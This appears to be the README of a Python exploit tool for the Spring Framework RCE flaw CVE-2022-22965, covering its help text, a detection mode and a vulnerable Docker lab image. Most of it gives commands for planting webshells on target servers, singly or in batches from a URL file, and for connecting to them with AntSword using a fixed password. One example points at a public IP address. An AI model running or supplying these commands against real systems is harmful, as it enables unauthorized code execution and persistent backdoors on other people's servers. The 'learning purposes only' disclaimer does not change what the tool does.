k3rwin/spring-core-rcespring框架RCE漏洞 CVE-2022-22965
Affected scope: Spring framework and derivative frameworks with JDK>=9
This script is for learning purposes only. Any legal liability arising from its use for other purposes is solely the responsibility of the user, not the author.
pip3 install -r requirements.txt
$ python3 spring-core-rce.py -h
.----..-.-. .---. .-..-. .-..----. .----. .---. .---. .----. .---. .----..----.
{ {__-`| } }}} }}_}{ || \{ || |--' ___ | }`-'/ {-. \} }}_}} |__} ___ } }}_}| }`-'} |__}
.-._} }| |-' | } \ | }| }\ {| }-`}{___}| },-.\ '-} /| } \ } '__}{___}| } \ | },-.} '__}
`----' `-' `-'-' `-'`-' `-'`----' `----' `---' `-'-' `----' `-'-' `----'`----'
Spring framework Core RCE
By:K3rwin
usage: spring-core-rce.py [-h] [-u URL] [-s SYSTEM] [-r FILE]
Spring framework Core 0day RCE help guide
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Specify target URL
-s SYSTEM, --system SYSTEM
Specify target host OS, default is linux; options: win/linux
-r FILE, --file FILE Specify URL file for batch upload of webshell
Non-destructive detection
Use
-u, --urlor-f, --filefor batch detection
-c, --checkparameter specifies a self-hosted HTTP service. You can quickly set up a web server withpython3 -m http.server 80Mainly used in internal networks where non-destructive vulnerability detection is required
python3 spring-core-rce.py -u "http://172.26.155.18:8080/" --check "http://172.26.155.18"
Use
-uto specify the URL,-sto specify the OS; parameters: linux or win, default is linux
python3 spring-core-rce.py -u "http://1.117.155.217:8080/" -s "linux"
Use
-rfor batch upload of webshell; connect with AntSword, password is k3rwin
python3 spring-core-rce.py -r "urls.txt"
docker pull vulfocus/spring-core-rce-2022-03-29:latest
docker run -d -p 8080:8080 --name spring-core-rce -it vulfocus/spring-core-rce-2022-03-29